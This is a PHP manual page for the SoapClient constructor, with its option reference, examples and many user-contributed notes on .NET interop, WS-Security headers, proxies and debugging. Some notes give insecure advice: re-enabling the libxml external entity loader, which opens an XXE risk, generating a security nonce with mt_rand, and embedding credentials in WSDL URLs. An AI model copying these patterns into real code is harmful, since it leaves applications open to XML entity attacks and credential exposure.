When calling over SOAP to a .NET application, you may end up with an object as a result instead of a simple type, even if you're just grabbing a simple type (like a boolean result). Use a property accessor to get the actual result, like this:
<?php
 $client = new SoapClient("http://server/myservice.asmx?WSDL");
 $objectresult = $client->MyMethod($param1, $param2);
 $simpleresult = $objectresult->MyMethodResult;
?>
Note that .NET seems to name the result MethodNameResult for method MethodName.
17-Feb-2005 03:19
If your service is a .NET doc/lit, which means the input message has a single part named 'parameters' that is a structure that wraps the parameters.  Your call should look like this:

<?php

$params = array('param_name_1'=>$val_1,'param_name_2'=>$val_2);
$client->call('MethodName', array('parameters' => $params));

?>


SoapClient constructor

  • ? SoapClient::__soapCall
  • SoapServer ?
  • PHP Manual
  • SoapClient
  • SoapClient constructor

SoapClient::SoapClient

(PHP 5, PHP 7)

SoapClient::SoapClient — SoapClient constructor

说明

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

This constructor creates SoapClient objects in WSDL or non-WSDL mode.

参数

wsdl

URI of the WSDL file or NULL if working in non-WSDL mode.

Note:

During development, WSDL caching may be disabled by the use of the soap.wsdl_cache_ttl php.ini setting otherwise changes made to the WSDL file will have no effect until soap.wsdl_cache_ttl is expired.

options

An array of options. If working in WSDL mode, this parameter is optional. If working in non-WSDL mode, the location and uri options must be set, where location is the URL of the SOAP server to send the request to, and uri is the target namespace of the SOAP service.

The style and use options only work in non-WSDL mode. In WSDL mode, they come from the WSDL file.

The soap_version option should be one of either SOAP_1_1 or SOAP_1_2 to select SOAP 1.1 or 1.2, respectively. If omitted, 1.1 is used.

For HTTP authentication, the login and password options can be used to supply credentials. For making an HTTP connection through a proxy server, the options proxy_host, proxy_port, proxy_login and proxy_password are also available. For HTTPS client certificate authentication use local_cert and passphrase options. An authentication may be supplied in the authentication option. The authentication method may be either SOAP_AUTHENTICATION_BASIC (default) or SOAP_AUTHENTICATION_DIGEST.

The compression option allows to use compression of HTTP SOAP requests and responses.

The encoding option defines internal character encoding. This option does not change the encoding of SOAP requests (it is always utf-8), but converts strings into it.

The trace option enables tracing of request so faults can be backtraced. This defaults to FALSE

The classmap option can be used to map some WSDL types to PHP classes. This option must be an array with WSDL types as keys and names of PHP classes as values.

Setting the boolean trace option enables use of the
methods
SoapClient->__getLastRequest,

SoapClient->__getLastRequestHeaders,

SoapClient->__getLastResponse and

SoapClient->__getLastResponseHeaders.

The exceptions option is a boolean value defining whether soap errors throw exceptions of type SoapFault.

The connection_timeout option defines a timeout in seconds for the connection to the SOAP service. This option does not define a timeout for services with slow responses. To limit the time to wait for calls to finish the default_socket_timeout setting is available.

The typemap option is an array of type mappings. Type mapping is an array with keys type_name, type_ns (namespace URI), from_xml (callback accepting one string parameter) and to_xml (callback accepting one object parameter).

The cache_wsdl option is one of WSDL_CACHE_NONE, WSDL_CACHE_DISK, WSDL_CACHE_MEMORY or WSDL_CACHE_BOTH.

The user_agent option specifies string to use in User-Agent header.

The stream_context option is a resource for context.

The features option is a bitmask of SOAP_SINGLE_ELEMENT_ARRAYS, SOAP_USE_XSI_ARRAY_TYPE, SOAP_WAIT_ONE_WAY_CALLS.

The keep_alive option is a boolean value defining whether to send the Connection: Keep-Alive header or Connection: close.

The ssl_method option is one of SOAP_SSL_METHOD_TLS, SOAP_SSL_METHOD_SSLv2, SOAP_SSL_METHOD_SSLv3 or SOAP_SSL_METHOD_SSLv23.

错误／异常

SoapClient::SoapClient() will generate an E_ERROR error if the location and uri options aren't provided in non-WSDL mode.

A SoapFault exception will be thrown if the wsdl URI cannot be loaded.

更新日志

版本 | 说明
5.5.0 | New ssl_method option.
5.4.0 | New keep_alive option.

范例

Example #1 SoapClient::SoapClient() example

<?php

$client = new SoapClient("some.wsdl");

$client = new SoapClient("some.wsdl", array('soap_version'   => SOAP_1_2));

$client = new SoapClient("some.wsdl", array('login'          => "some_name",
                                            'password'       => "some_password"));

$client = new SoapClient("some.wsdl", array('proxy_host'     => "localhost",
                                            'proxy_port'     => 8080));

$client = new SoapClient("some.wsdl", array('proxy_host'     => "localhost",
                                            'proxy_port'     => 8080,
                                            'proxy_login'    => "some_name",
                                            'proxy_password' => "some_password"));

$client = new SoapClient("some.wsdl", array('local_cert'     => "cert_key.pem"));

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/",
                                     'style'    => SOAP_DOCUMENT,
                                     'use'      => SOAP_LITERAL));

$client = new SoapClient("some.wsdl",
  array('compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP));

$client = new SoapClient("some.wsdl", array('encoding'=>'ISO-8859-1'));

class MyBook {
    public $title;
    public $author;
}

$client = new SoapClient("books.wsdl", array('classmap' => array('book' => "MyBook")));

?>

User Contributed Notes

psy at psyberware dot com 11-Feb-2019 09:54
If you try to use a 'stream_context' option to set additional HTTP headers, you should be aware of a couple of things.

First, even if you are using a https URL, the 'header' will be pulled from the 'http' section:

$context = stream_context_create([
            'https' => [
                'header' => 'Test: this will be ignored'
            ],
            'http' => [
                'header' => 'Test: this will be used'
            ]
]);

Second, there are a number of headers that are ignored, and will never be used. Check the underlying C source file soap/php_http.c and search for "skip some predefined headers" for a list.  This is the reason some people report problems trying to set Host, Authorization, and other headers in certain situations.
Flaviu 26-Jun-2018 06:41
When using classmap, the class constructors are NOT called.
If you want to do additional "magic", you can use the __set() / __get() combo.
Register a class with a "container" property alone and use the 2 magic methods.

Have fun
Thomas Van Canegem 08-Feb-2018 04:21
Further explanation regarding the cache options in WSDL mode:

WSDL_CACHE_MEMORY:
Will do a request and cache the WSDL's xml when instantiating the SoapClient object for the first time; invoked by EVERY request.

WSDL_CACHE_DISK:
Will do a request and cache the WSDL's xml the first time the SoapClient object is instantiated by A request.
ryan dot jentzsch at gmail dot com 28-Nov-2017 10:19
The documentation is wrong (version 7.1.12): A SoapFault exception will be thrown if the wsdl URI cannot be loaded.

What actually occurs -- even if wrapped in a try...catch(\Throwable $t) -- is an UNCATCHABLE fatal error is thrown.
mkroese at eljakim dot nl 29-Mar-2017 11:27
Do note that *contrary* to the ssl context option (http://php.net/manual/en/context.ssl.php#context.ssl.local-pk),  `local_pk` is NOT a valid option. For the `local_cert` option, you should combine the private key with the certificate file.

Alternatively, if you do want to keep the private key and certificate file separate, you can create a stream context and pass that as the `context` option:

<?php
$context = stream_context_create([
  'ssl' => [
   'local_cert' => '/path/to/cert/file',
   'local_pk'   => '/path/to/private/key'
  ]]);

$client = new \SoapClient($wsdl, [
  'context' => $context,
  // other options
]);
fschmidt at informatik dot uni-leipzig 07-Dec-2016 12:06
In local_cert, the order of the certificates is relevant. After the key, first add the client certificate, then the rest of the chain. Offering the certificate chain before the client cert or only adding it to the system capath will result in an "alert unknown ca".
cdesully at webslicer dot com 30-Mar-2016 06:39
I found a good use for typemap.  When using classmap any xml tags that had attributes, attribute values were not captured, so a typemap allows you to override how a class gets implemented and being able to get any attributes not previously captured.

<ItemList>
    <Item productId="1234">
        <feature>red</feature>
    </Item>
    <Item productId="5678">
        <feature>blue</feature>
    </Item>
</ItemList>

<?php //semi-pseudo code
namespace ExampleNS;

class ItemList {
    public $item = [];
}
class Item {
    public $productId;
    public $feature;
}

class Service {
    public function __construct(){
        $options = [
            'classmap' => [
                'ItemList' => 'ExampleNS\ItemList',
                'Item' => 'ExampleNS\Item'
            ],
            'typemap'=>[
                'type_ns' => 'http://some.wsdl.ns/sdo',
                'type_name' => 'Item',
                'from_xml' => [__CLASS__,'newConversion']
            ]
        ];
    }

    public function newConversion($xml){
        return simplexml_load_string($xml);
        //or more appropriately dig into the simplexml object and
        //instantiate the correct classes intended to be defined and
       //return those
    }
}
?>
Anonymous 10-Dec-2015 08:24
After installing PHP 7 on my test server I was receiving a 500 - Internal Server error when instantiating a new SoapClient. If there's an existing wsdl cache file, it needs to be deleted.
omidkosari at yahoo dot com 25-Jun-2015 04:05
To solve the problem with a lot of FIN_WAIT2 or CLOSE_WAIT , you should use the option keep_alive=false
info at nospam x valiton x com 20-Apr-2015 01:00
CAUTION:
I had quite a bit of trouble trying to make a request with fopen through a proxy to a secure url.  I kept getting a 400 Bad Request back from the remote host.  It was receiving the proxy url as the SNI host.  In order to get around this I had to explicity set the SNI host to the domain I was trying to reach.  It's apparently the issue outlined in this bug:

https://bugs.php.net/bug.php?id=63519

<?php
$domain = parse_url($file, PHP_URL_HOST);
$proxy_string = "tcp://" . WP_PROXY_HOST  . ":" . WP_PROXY_PORT;
$opts = array(
    'http' => array( 'proxy' => $proxy_string ),
    'ssl' => array( 'SNI_enabled' => true, 'SNI_server_name' => $domain));
$context = stream_context_create($opts);
$handle = fopen( $file, 'r', false, $context );
?>

src:
http://php.net/manual/en/context.http.php#114314
champetier dot etienne at gmail dot com 23-Mar-2015 02:30
When using classmap, never put a fully qualified classname (starting with \)
there is a bug (https://bugs.php.net/bug.php?id=69280)
softontherocks at gmail dot com 02-Dec-2014 07:38
I posted in this URL http://softontherocks.blogspot.com/2014/02/web-service-soap-con-php.html a full example of a nusoap web service.

There is defined the server and the client who calls the web service.

I hope it would be useful for you.
joshua at wiredrive dot com 22-Oct-2014 11:42
As of 5.5, ssl_method defaults to SOAP_SSL_METHOD_SSLv23. Just wanted to add this because it was not explicitly specified above.
Peter 08-May-2014 02:18
if you need to use ws-security with a nonce and a timestamp, you can use this :

<?php

class WsseAuthHeader extends SoapHeader {

private $wss_ns = 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd';
private $wsu_ns = 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd';

function __construct($user, $pass) {

    $created = gmdate('Y-m-d\TH:i:s\Z');
    $nonce = mt_rand();
    $passdigest = base64_encode( pack('H*', sha1( pack('H*', $nonce) . pack('a*',$created).  pack('a*',$pass))));

    $auth = new stdClass();
    $auth->Username = new SoapVar($user, XSD_STRING, NULL, $this->wss_ns, NULL, $this->wss_ns);
    $auth->Password = new SoapVar($pass, XSD_STRING, NULL, $this->wss_ns, NULL, $this->wss_ns);
    $auth->Nonce = new SoapVar($passdigest, XSD_STRING, NULL, $this->wss_ns, NULL, $this->wss_ns);
    $auth->Created = new SoapVar($created, XSD_STRING, NULL, $this->wss_ns, NULL, $this->wsu_ns);

    $username_token = new stdClass();
    $username_token->UsernameToken = new SoapVar($auth, SOAP_ENC_OBJECT, NULL, $this->wss_ns, 'UsernameToken', $this->wss_ns);

    $security_sv = new SoapVar(
        new SoapVar($username_token, SOAP_ENC_OBJECT, NULL, $this->wss_ns, 'UsernameToken', $this->wss_ns),
        SOAP_ENC_OBJECT, NULL, $this->wss_ns, 'Security', $this->wss_ns);
    parent::__construct($this->wss_ns, 'Security', $security_sv, true);
}
}

?>

and with your SoapClient do :

<?php
$client = new SoapClient("http://host/path");
$client->__setSoapHeaders(Array(new WsseAuthHeader("user", "pass")));
?>

works for me. based on a stackoverlfow post which only did the username and password, not the nonce and the timestamp
michael dot arnauts at gmail dot com 29-Jan-2014 03:53
This doesn't seem to be documented, but when you want to use compression for your outgoing requests, you have to OR with the compression level:

<?php
 $client = new SoapClient("some.wsdl",
  array('compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP | 9));
?>

This can be really usefull if you want to send large amounts of data.

Source: https://bugs.php.net/bug.php?id=36283
tolean dot dj at gmail dot com 13-Aug-2013 02:21
Here's a function for easier debugging:

<?php
function soapDebug($client){

    $requestHeaders = $client->__getLastRequestHeaders();
    $request = prettyXml($client->__getLastRequest());
    $responseHeaders = $client->__getLastResponseHeaders();
    $response = prettyXml($client->__getLastResponse());

    echo '<code>' . nl2br(htmlspecialchars($requestHeaders, true)) . '</code>';
    echo highlight_string($request, true) . "<br/>\n";

    echo '<code>' . nl2br(htmlspecialchars($responseHeaders, true)) . '</code>' . "<br/>\n";
    echo highlight_string($response, true) . "<br/>\n";
}

$client = new SoapClient(null, array(
    'location' => 'http://sita.local/_mpay/server.php',
    'uri' => 'http://sita.local/_mpay/',
    'trace' => 1,
));

$result = $client->__soapCall('getDate', array('format' => 'Y-m-d H:i:s'));
soapDebug($client);
?>
pgl at yoyo dot org 09-Apr-2013 12:21
Note that if libxml_disable_entity_loader() has been called, you cannot specify a WSDL file - you'll get an error that PHP "failed to load external entity".

To resolve this, add

<?php
libxml_disable_entity_loader(false);
?>

Above any calls to instantiate SoapClient.
francesco [at] paladinux [dot] net 15-Mar-2013 08:43
Where you have the problem of
"looks like we got no XML document SoapClient", really the real problem is the xml code from remote server is not clear (after last tag is possible that you have space or other caracter that the your supplier of service have lost :  no one is perfect!)
I've read some solution, like here, but you must to know that is possible, that is possible that the remote server don't wrong, and the "surplus" (latin word for added values) is needed.
In particolar with axis Java server, is possible that the configuration of server is needed and the "surplus" is one or more attachments...
The solution is 3:
1) contact your supplier if is possible to remove caracter if is an error (good luck! ;) )
2) use another class like nusoap resolve the problem (but has other problem!)
3) this technical solution:
when call the wsdl be sure that the option trace and exceptions are setted (the first true and the second false)

<?php
$SoapClient = new SoapClient(NULL,
          array(
....
            'trace'          => 1,
        'exceptions'      => 0
          )
?>
(if you don't do that you can't use the __getLastResponse)

Now You can do the request and use __getLastResponse() to obtain all the part..
<?php
$result  = $SoapClient -> problematicCall($par);
?>

After all  you obtain a variable like that:

-----=_Part_9325_126764118.1363377774664
Content-Type: text/xml; CHARSET=gb2312
Content-Transfer-Encoding: binary
Content-Id: <1C06F7FBA057796C5A6185605F9F93E4>

<?xml version="1.0" encoding="utf-8"?><...etc >&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;

&lt;MESSAGGIO&gt;
  &lt;DA&gt;MI&lt;/DA&gt;
  &lt;A&gt;PALADINUX&lt;/A&gt;
  &lt;ID&gt;12345&lt;/ID&gt;
  &lt;TIPODOC&gt;RC&lt;/TIPODOC&gt;
  &lt;RISPOSTA&gt;
&lt;/MESSAGGIO&gt;
</rxproblematicCallReturn></ns1:rxCatalogoMaterialiResponse></soapenv:Body></soapenv:Envelope>
------=_Part_9325_126764118.1234567890123
Content-Type: application/zip
Content-Transfer-Encoding: binary
Content-Id: <43E91F7E7PALADINUXE07BF041A7BAC9>
-------------------------

Is easy understand if the added part is needed or not!
Now you can explode all the part and parse!

Hope this can help you.See ya in the cyberspace!
ale dot comp_06 at xox dot ch 11-Jun-2012 07:56
If your service is protected through basic http authentication and you're not using wsdl, you will have to put the login in the SoapClient's option:

<?php
$client = new SoapClient(
    null,
    array(
        'soap_version' => SOAP_1_2,
        'location' => ...
        ...,
        'login' => 'username',
        'password' => '*******',
    )
);
?>
chris at phblock dot atNoSpam 04-Nov-2011 05:57
this is the syntax of typemap (found at http://svn.php.net/viewvc/php/php-src/trunk/ext/soap/tests/typemap012.phpt?view=markup)
<?php
$options=Array(
'typemap' => array(
array("type_ns"  => "http://schemas.nothing.com",
         "type_name" => "soap",
         "to_xml"  => "some_funktion_name")
));
?>
Chris Gunawardena 15-Aug-2011 12:56
To monitor SOAP calls in and out of a unix server:

sudo tcpdump -nn -vv -A -s 0 -i eth0 dst or src host xxx.xxx.xxx.xxx and port 80

And always use 'cache_wsdl' => WSDL_CACHE_NONE
svenr at selfhtml dot org 27-Jul-2011 03:51
The "classmap" option actually is a mapping from the "ComplexType" used within the SOAP to your PHP Classes.

Do not confuse the XML tag names returned for your request with these ComplexTypes. SOAP allows them to be different.

I had something like this:
...
<soapenv:body>
<ns1:TagName>
  <ns1:Content>FooBar</ns1:Content>
</ns1:TagName>
</soapenv:body>

TagName is not the key you want to put in your classmap, you have to know the name of the ComplexType this TagName refers to. This info is contained inside the WSDL resource.
willem dot stuursma at hyves dot nl 30-May-2011 02:00
If you want to use classes in a different namespace in your classmap, just use the backslash in the the target class name.

Example:
<?php
$classmap = array('result' => 'MyNamespace\\Result');
?>

You need to specify the backslash twice because it is the escape character in strings.
simonlang at gmx dot ch 06-Apr-2011 06:35
Example for a soap client with HTTP authentication over a proxy:

<?php
new SoapClient(
    'service.wsdl',
    array(
        // Stuff for development.
        'trace' => 1,
        'exceptions' => true,
        'cache_wsdl' => WSDL_CACHE_NONE,
        'features' => SOAP_SINGLE_ELEMENT_ARRAYS,

        // Auth credentials for the SOAP request.
        'login' => 'username',
        'password' => 'password',

        // Proxy url.
        'proxy_host' => 'example.com', // Do not add the schema here (http or https). It won't work.
        'proxy_port' => 44300,

        // Auth credentials for the proxy.
        'proxy_login' => NULL,
        'proxy_password' => NULL,
    )
);
?>

Providing an URL to a WSDL file on the remote server (which as well is protected with HTTP authentication) didn't work. I downloaded the WSDL and stored it on the local server.
Asaf Meller 13-Jan-2011 05:57
a full working php .net soap configuration :
notes
1. web.config on .net server must work with basichttp binding.
2. paramaters to soap functions must be passed as :
array ('parm1_name'=>'parm1_value',
         'parm2_name'=>'parm2_value'...)

<?php
header('Content-Type: text/plain');

try {
            $options = array(
                'soap_version'=>SOAP_1_1,
                'exceptions'=>true,
                'trace'=>1,
                'cache_wsdl'=>WSDL_CACHE_NONE
            );
            $client = new SoapClient('http://www.example.com/end_point.wsdl', $options);
    // Note where 'Get' and 'request' tags are in the XML

        } catch (Exception $e) {
            echo "<h2>Exception Error!</h2>";
            echo $e->getMessage();
        }

echo 'running HelloWorld :';

 try {
   $response=$client->HelloWorld();

}
catch (Exception $e)
{
    echo 'Caught exception: ',  $e->getMessage(), "\n";
}

print_r($response);
?>

good luck !
Asaf.
tatupheba at gmail dot com 20-Dec-2010 02:30
Hello folks!

A hint for developers:

When programming some soap server set the "soap.wsdl_cache_enabled" directive in php.ini file to 0:

soap.wsdl_cache_enabled=0

Otherwise it will give a bunch of strange errors saying that your wsdl is incorrect or is missing.

Doing that will save you from a lot of useless pain.
titan at phpdevshell dot org 06-Oct-2010 06:11
It should be noted that if you receive a return error : 'Object reference not set to an instance of an object.'. This could be due to something as simple as passing the incorrect parameters. When you look at this XML:

    <Get xmlns="http://example.com">
      <request>
        <CustomerId>string</CustomerId>
        <From>dateTime</From>
        <To>dateTime</To>
      </request>
    </Get>

Your code should look something like this:

<?php
        try {
            $options = array(
                'soap_version'=>SOAP_1_2,
                'exceptions'=>true,
                'trace'=>1,
                'cache_wsdl'=>WSDL_CACHE_NONE
            );
            $client = new SoapClient('http://example.com/doc.asmx?WSDL', $options);
// Note where 'Get' and 'request' tags are in the XML
            $results = $client->Get(array('request'=>array('CustomerId'=>'1234')));
        } catch (Exception $e) {
            echo "<h2>Exception Error!</h2>";
            echo $e->getMessage();
        }

$results = $client->Get(array('request'=>array('CustomerId'=>'842115')));
?>
marcovtwout at hotmail dot com 29-Jun-2010 08:30
If your WSDL file containts a parameter with a base64Binary type, you should not use base64_encode() when passing along your soap vars. When doing the request, the SOAP library automatically base64 encodes your data, so otherwise you'll be encoding it twice.

WSDL snipplet:
<element name="content" type="base64Binary" xmime:expectedContentTypes="*/*"/>

<?php
$string = 'data_you_want_to_send___like_xml_in_soap';
$soap_data = array(
        'foo' => 'bar',
      //'content' => base64_encode($string ) // don't do this
        'content' => $string //do this
);
$response = $client->Send($soap_data);
?>
marcovtwout at hotmail dot com 26-Jun-2010 06:20
Being new to SOAP, I was searching for a while to find out why my message was getting a response in soapUI, but not with my php code. The specific service I was addressing gives a HTTP 202 Accepted on success (no response), but returns a SOAP message on errors.

Situation:
Using an (authenticated) client connection, and a WDSL file, SOAP calls with type "One-Way" don't give a response header, even though a response is expected.

Solution:
When calling the client constructor, set SOAP_WAIT_ONE_WAY_CALLS in the $options['features'].
tim at tdinternet dot com 10-Jun-2010 08:05
PHP 5.2.11 seems to not be very picky about the correctness of a WSDL.

Other SOAP clients were complaining about schema and namespace issues, while PHP's SoapClient worked completely fine.  Fixing those issues for the other clients however broke PHP's SoapClient to the point where objects being passed to the SOAP method were becoming empty arrays on the server side.

Lesson learned:  some elements were being prefixed with xsd: and others were not -- make absolutely sure your WSDL is correct and consistent (I'm using a tweaked WSDL_Gen.php).
james dot ellis at gmail dot com 09-Jun-2010 07:06
I was having troubles getting responses from a Coldfusion SOAP server, with no obvious issues in the SoapClient used.

Eventually I found that the server was only accepting SOAP 1.1 requests and not 1.2. Not sure if this is  a system wide Coldfusion setting but if you hit the same wall, try setting the SoapClient option "soap_version" to the constant SOAP_1_1 (which is the default but mine was defaulting to 1.2 as the client was being reused for another service)
ajcartmell at fonant dot com 09-Jun-2010 03:57
There seems to be a problem with specifying empty strings for proxy_host and proxy_port options in recent versions of PHP (from a version later than 5.2.9, and equal to or earlier than 5.2.11).

Supplying empty string values for proxy_host and proxy_port causes "host not found" type errors: supplying NULL or FALSE works fine.
bhargav dot khatana at gmail dot com 11-Apr-2010 11:10
It took me longer than a week to figure out how to implement WSSE (Web Service Security) headers in native PHP SOAP. There are no much resource available on this, so thought to add this here for community benefit.

Step1: Create two classes to create a structure for WSSE headers

<?php
class clsWSSEAuth {
          private $Username;
          private $Password;
        function __construct($username, $password) {
                 $this->Username=$username;
                 $this->Password=$password;
              }
}

class clsWSSEToken {
        private $UsernameToken;
        function __construct ($innerVal){
            $this->UsernameToken = $innerVal;
        }
}
?>

Step2: Create Soap Variables for UserName and Password

<?php
$username = 1111;
$password = 1111;

//Check with your provider which security name-space they are using.
$strWSSENS = "http://schemas.xmlsoap.org/ws/2002/07/secext";

$objSoapVarUser = new SoapVar($username, XSD_STRING, NULL, $strWSSENS, NULL, $strWSSENS);
$objSoapVarPass = new SoapVar($password, XSD_STRING, NULL, $strWSSENS, NULL, $strWSSENS);
?>

Step3: Create Object for Auth Class and pass in soap var

<?php
$objWSSEAuth = new clsWSSEAuth($objSoapVarUser, $objSoapVarPass);
?>

Step4: Create SoapVar out of object of Auth class

<?php
$objSoapVarWSSEAuth = new SoapVar($objWSSEAuth, SOAP_ENC_OBJECT, NULL, $strWSSENS, 'UsernameToken', $strWSSENS);
?>

Step5: Create object for Token Class

<?php
$objWSSEToken = new clsWSSEToken($objSoapVarWSSEAuth);
?>

Step6: Create SoapVar out of object of Token class

<?php
$objSoapVarWSSEToken = new SoapVar($objWSSEToken, SOAP_ENC_OBJECT, NULL, $strWSSENS, 'UsernameToken', $strWSSENS);
?>

Step7: Create SoapVar for 'Security' node

<?php
$objSoapVarHeaderVal=new SoapVar($objSoapVarWSSEToken, SOAP_ENC_OBJECT, NULL, $strWSSENS, 'Security', $strWSSENS);
?>

Step8: Create header object out of security soapvar

<?php
$objSoapVarWSSEHeader = new SoapHeader($strWSSENS, 'Security', $objSoapVarHeaderVal,true, 'http://abce.com');

//Third parameter here makes 'mustUnderstand=1
//Forth parameter generates 'actor="http://abce.com"'
?>

Step9: Create object of Soap Client

<?php
$objClient = new SoapClient($WSDL, $arrOptions);
?>

Step10: Set headers for soapclient object

<?php
$objClient->__setSoapHeaders(array($objSoapVarWSSEHeader));
?>

Step 11: Final call to method

<?php
$objResponse = $objClient->__soapCall($strMethod, $requestPayloadString);
?>
meltir at meltir dot com 29-Mar-2010 05:59
To those fighting with NTLM authenticated proxy servers, here's a solution I'm using atm:

<?php
/**
 * A child of SoapClient with support for ntlm proxy authentication
 *
 * @author Meltir <meltir@meltir.com>
 *
 */
class NTLM_SoapClient extends SoapClient {

    public function __construct($wsdl, $options = array()) {
        if (empty($options['proxy_login']) || empty($options['proxy_password'])) throw new Exception('Login and password required for NTLM authentication!');
        $this->proxy_login = $options['proxy_login'];
        $this->proxy_password = $options['proxy_password'];
        $this->proxy_host = (empty($options['proxy_host']) ? 'localhost' : $options['proxy_host']);
        $this->proxy_port = (empty($options['proxy_port']) ? 8080 : $options['proxy_port']);
        parent::__construct($wsdl, $options);
    }

    /**
     * Call a url using curl with ntlm auth
     *
     * @param string $url
     * @param string $data
     * @return string
     * @throws SoapFault on curl connection error
     */
    protected function callCurl($url, $data) {
    $handle   = curl_init();
    curl_setopt($handle, CURLOPT_HEADER, false);
    curl_setopt($handle, CURLOPT_URL, $url);
    curl_setopt($handle, CURLOPT_FAILONERROR, true);
    curl_setopt($handle, CURLOPT_HTTPHEADER, Array("PHP SOAP-NTLM Client") );
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
    curl_setopt($handle, CURLOPT_PROXYUSERPWD,$this->proxy_login.':'.$this->proxy_password);
    curl_setopt($handle, CURLOPT_PROXY, $this->proxy_host.':'.$this->proxy_port);
    curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_NTLM);
    $response = curl_exec($handle);
    if (empty($response)) {
      throw new SoapFault('CURL error: '.curl_error($handle),curl_errno($handle));
    }
    curl_close($handle);
    return $response;
    }

    public function __doRequest($request,$location,$action,$version,$one_way = 0) {
        return $this->callCurl($location,$request);
    }

}
?>

Requires curl and could be extended, but it works for my simple needs.
eric dot caron at gmail dot com 31-Jan-2010 01:26
Though pointed out by jan at bestbytes, and discussed in bug #27777, one common source of the "Parsing WSDL: Couldn't find <definitions>" error is from trying to access a WSDL that is protected by HTTP authentication. Passing the login/password in the 2nd parameter doesn't always work; so if you encounter this error message and are trying to access a protected WSDL file, try passing the username and password in with the first parameter.
Anonymous 10-Jan-2010 06:53
I had to struggle with a rather strange behavior when trying to consume standard Parlay X web services with no success. However, I found a remedy to my problem.

The problem which I faced was about an erroneous invalid HTTP basic authentication request sent to the web service. Although I was sending the right credentials, I was getting an authentication error. It turns out that PHP was sending HTTP requests to another endpoint which is not exposed directly through the web service and that end point does not require authentication.

My remedy for that issue was by using this simple lines in the example of using sendSms Paraly-X method.

First, creating a soap client without any HTTP authentication options:

<?php
$client = new SoapClient($wsdl_url);
?>

The above request will cache the wsdl in the /tmp directory. Immediately after this construction we create another soap client, this time with HTTP authentication options:

<?php
try {
        $client = new SoapClient($wsdl_url, array('login' => "griffin",
                                            'password'       => "password"));
} catch (Exception $e) {
        printf("Error:sendSms: %s\n",$e->__toString());
        return false;
}
?>

Now it should work without any problem. Without the second call, PHP will call sendSms without credentials resulting in a failed attempt due to missing authentication information. I found this procedure to be the simplest.

This process should be done every time the cached wsdl expires, or simply a one can increase the time-to-live for the cached wsdl from php.ini
jon dot gilbert at net-entwicklung dot de 12-Dec-2009 09:55
Note that creating a soap client for an invalid URL (you do test what happens, when a service is not available, right?) usually throws an exception which can be caught with try..catch. However, if xdebug is active you will get a fatal error, which obviously cannot be caught.
sloloem at gmail dot com 19-Oct-2009 01:14
I had an issue figuring out the use of classmap that took me quite a while to figure out.  I was assuming the WSDL type the docs were referring to was the name of the element being returned in the SOAP, so like,
<ns1:node id="8675309" />

and I was wondering why mapping
'classmap'=>array('node'=>'MyNode')

did nothing.
That's because in my WSDL I defined node as:

<xsd:element name="node" type="tns:nodeType" />

The classmap I needed was:
'classmap'=>array('nodeType'=>'MyNode')

I was able to find the type names using SoapClient->__getTypes()
Later, I realized where I could look inside the WSDL for the typename I needed.

I dunno if I missed something painfully obvious but maybe this can clear up some of the docs.
Jon 06-May-2009 03:13
We've had some problems using SoapClient connecting to an external server via Microsoft ISA (presently v.2006 but this may apply to other versions too). We supply the proxy_host, proxy_port, proxy_login and proxy_password but the ISA server reports the login in its logs as "anonymous".

Our sysadmin believes this is because PHP is not supplying NTLN information (Windows security protocol) in the correct format (and whether it should work with proprietary proxies is of course another debate). We'd tried "username", "DOMAIN\username" to no effect. The solution is to add an exception in the ISA server for the target hostname/IP; null can then be supplied for proxy_login and proxy_password and the connection should then work as expected.

On a slightly related note, if you are having problems make sure the port number is supplied as an integer. Some versions of PHP will not use the proxy with SoapClient if the port number is supplied as a string.
jan at bestbytes dot de 12-Feb-2009 07:32
You CAN get a wsdl, if basic authentication is required:

<?php

$login = 'bert';
$password = 'berts password';

$client = new SoapClient(
    'http://' . urlencode($login) . ':' . urlencode($password) . '@www.server.com/path/to/wsdl',
    array(
        'login' => $login,
        'password' => $password
    )
);

?>
info at nicksilvestro dot net 09-Nov-2008 10:40
For anyone having trouble with ArrayOf_xsd_string and getting an error similar to 'No deserializer defined for array type {http://www.w3.org/2001/XMLSchema}string'
Try using the 'features' param, set to SOAP_USE_XSI_ARRAY_TYPE - this makes sure the correct deserializer is used.

eg,
<?php
$client = new SoapClient("some.wsdl", array('features' => SOAP_USE_XSI_ARRAY_TYPE));
?>
sniper 27-Sep-2008 11:46
i was looking for a good example and couldnt find one,
finally found it somewhere(forgot where) i think this is
the best example to make a soap request with multiple params

$params->AWSAccessKeyId = AMAZON_API_KEY;
$params->Request->SearchIndex = 'Books';
$params->Request->Keywords = 'php5 oop';

$amazon = new SoapClient('http://webservices.amazon.com
/AWSECommerceService/AWSECommerceService.wsdl');
$result = $amazon->itemSearch($params);
taras dot dot dot di at gmail dot com 16-Sep-2008 09:23
This took me a while to figure out.

As described at the bottom of here: http://bugs.php.net/bug.php?id=38703

having xdebug may interfere with the constructor throwing exceptions
alex on reutone comma com 10-Sep-2008 06:53
To connect PHP SOAP to MS SOAP (CRM/EXCHANGE/...) I have created some classes using the explanation below and in other places.
www.reutone.com/heb/articles.php?instance_id=62&actions=show&id=521
naugtur at gmail dot com 19-Jun-2008 06:48
SoapFault exception: [Client] looks like we got no XML document in <document> has been already mentioned to occur when your server outputs something before <?xml ... > tag.

For all those having problems with that, and no access to the server code:
This is how to make a proxy that would clean responses for You

<?php
/**
 * Simple class taken from a note by James Ellis [in __doRequest() page of manual]
 */
class Proxy_Client extends SoapClient {
    protected $cacheDocument = "";
    public function __construct($wsdl, $options) {
        parent::__construct($wsdl, $options);
    }

    /**
     * SetCacheDocument() sets the previously cached document contents
     */
    public function SetCacheDocument($document) {
        $this->cacheDocument = $document;
    }

    /**
     * __doRequest() overrides the standard SoapClient to handle a local request
     */
    public function __doRequest() {
        return $this->cacheDocument;
    }
}

